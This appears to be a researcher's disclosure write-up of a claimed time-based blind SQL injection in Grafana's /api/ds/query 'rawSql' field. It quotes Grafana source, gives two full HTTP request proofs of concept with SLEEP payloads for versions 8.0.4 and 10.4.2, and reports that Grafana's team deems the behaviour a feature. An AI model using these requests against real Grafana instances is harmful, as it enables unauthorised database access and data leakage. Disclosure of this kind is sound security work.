Grafana backend sql injection affected all version

Grafana backend sql injection affected all version

Vuln Description

The open-source platform for monitoring and observability

to exploit this sql injection vulnerability, someone must use a valid account login to the grafana web backend, then send malicious POST request to /api/ds/query “rawSql” entry.

if attackers login to the grafana web backend, they can use a post request to /api/ds/query api, then they can modify the “rawSql” filed to execute Malicious sql strings leading to time-based blind sql injection vulnerability, then leak data from databases.

Risk level

  • high

Impact version

  • grafana latest and all old version

Vulnerability analysis

  • affected code blocks and functions

  1. grafana grafana-sql package in grafana/packages/grafana-sql/src/datasource/SqlDatasource.ts file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// NOTE: this always runs with the `@grafana/data/getDefaultTimeRange` time range
async runSql<T extends object>(query: string, options?: RunSQLOptions) {
const range = getDefaultTimeRange();
const frame = await this.runMetaQuery({ rawSql: query, format: QueryFormat.Table, refId: options?.refId }, range);
return new DataFrameView<T>(frame);
}

private runMetaQuery(request: Partial<SQLQuery>, range: TimeRange): Promise<DataFrame> {
const refId = request.refId || 'meta';
const queries: DataQuery[] = [{ ...request, datasource: request.datasource || this.getRef(), refId }];

return lastValueFrom(
getBackendSrv()
.fetch<BackendDataSourceResponse>({
url: '/api/ds/query',
method: 'POST',
headers: this.getRequestHeaders(),
data: {
from: range.from.valueOf().toString(),
to: range.to.valueOf().toString(),
queries,
},
requestId: refId,
})
.pipe(
map((res: FetchResponse<BackendDataSourceResponse>) => {
const rsp = toDataQueryResponse(res, queries);
return rsp.data[0] ?? { fields: [] };
})
)
);
}
  1. grafana datasource plugin in grafana/public/app/plugins/datasource/influxdb/datasource.ts file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
async metricFindQuery(query: string, options?: any): Promise<MetricFindValue[]> {
if (
this.version === InfluxVersion.Flux ||
this.version === InfluxVersion.SQL ||
this.isMigrationToggleOnAndIsAccessProxy()
) {
const target: InfluxQuery & SQLQuery = {
refId: 'metricFindQuery',
query,
rawQuery: true,
...(this.version === InfluxVersion.SQL ? { rawSql: query, format: QueryFormat.Table } : {}),
};
return lastValueFrom(
super.query({
...(options ?? {}), // includes 'range'
targets: [target],
})
).then(this.toMetricFindValue);
}

const interpolated = this.templateSrv.replace(
query,
options?.scopedVars,
(value: string | string[] = [], variable: QueryVariableModel) => this.interpolateQueryExpr(value, variable, query)
);

return lastValueFrom(this._seriesQuery(interpolated, options)).then((resp) => {
return this.responseParser.parse(query, resp);
});
}

......

return lastValueFrom(
getBackendSrv()
.fetch<BackendDataSourceResponse>({
url: '/api/ds/query',
method: 'POST',
headers: this.getRequestHeaders(),
data: {
from: options.range.from.valueOf().toString(),
to: options.range.to.valueOf().toString(),
queries: [target],
},
requestId: annotation.name,
})
.pipe(
map(
async (res: FetchResponse<BackendDataSourceResponse>) =>
await this.responseParser.transformAnnotationResponse(annotation, res, target)
)
)
);

Grafana does not validate any queries sent to the DataSource proxy

Vulnerability recurrence

an attacker can use above steps to get sql injection, it’s grafana send sql statement query leads to bug.

  • grafana v8.0.4 poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/ds/query HTTP/1.1
Host: 172.16.32.57:3000
User-Agent: qzd_security_test_user_agent
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.16.32.57:3000/d/AEo5dM44k/pei-xun-xi-tong?orgId=1
content-type: application/json
x-grafana-org-id: 1
Content-Length: 142
Origin: http://172.16.32.57:3000
DNT: 1
Connection: close
Cookie: grafana_session=ede75844e20b0001a30e2c8522e5f1fc

{"queries":[{"refId":"A","format":"time_series","datasourceId":2,"rawSql":"(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)","maxDataPoints":10000}]}

login to backend then click “Explore”, then use burp Capture POST /api/ds/query HTTP/1.1 packet, modify the “rawSql” entry to malicious sql strings, then we get a time-based sql injection.

  • grafana v10.4.2 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /api/ds/query HTTP/1.1
Host: 172.28.171.25:3000
User-Agent: qzd_security_test_user_agent
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.28.171.25:3000/explore
content-type: application/json
x-datasource-uid: edj6pz14v89a8c
x-grafana-device-id: 6eda885e8d5e5370781b533e605dd6fb
x-grafana-org-id: 1
x-plugin-id: mysql
Content-Length: 201
Origin: http://172.28.171.25:3000
DNT: 1
Connection: close
Cookie: grafana_session=dfa008ccdbe45635eed9592216f2f04a; grafana_session_expiry=1713514866

{"from":"1713492692433","to":"1713514292433","queries":[{"rawSql":"(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)","format":"table","refId":"datasets","datasource":{"type":"mysql","uid":"edj6pz14v89a8c"}}]}
  • using sqlmap dump data

Bug repair

Grafana does not validate any queries sent to the DataSource proxy, that filtering has to be done on the datasource side.

summary

grafana official security team dose not think this is a vulnerability, it’s a feature in the backend, it must feel so damn upset to me…

but i think it’s not, so i published this article out :)

Reference resource

  • time-based blind sql injection vulnerability in grafana-sql package and datasource plugin
  • affected code blocks and functions
  • Limit Viewer query permissions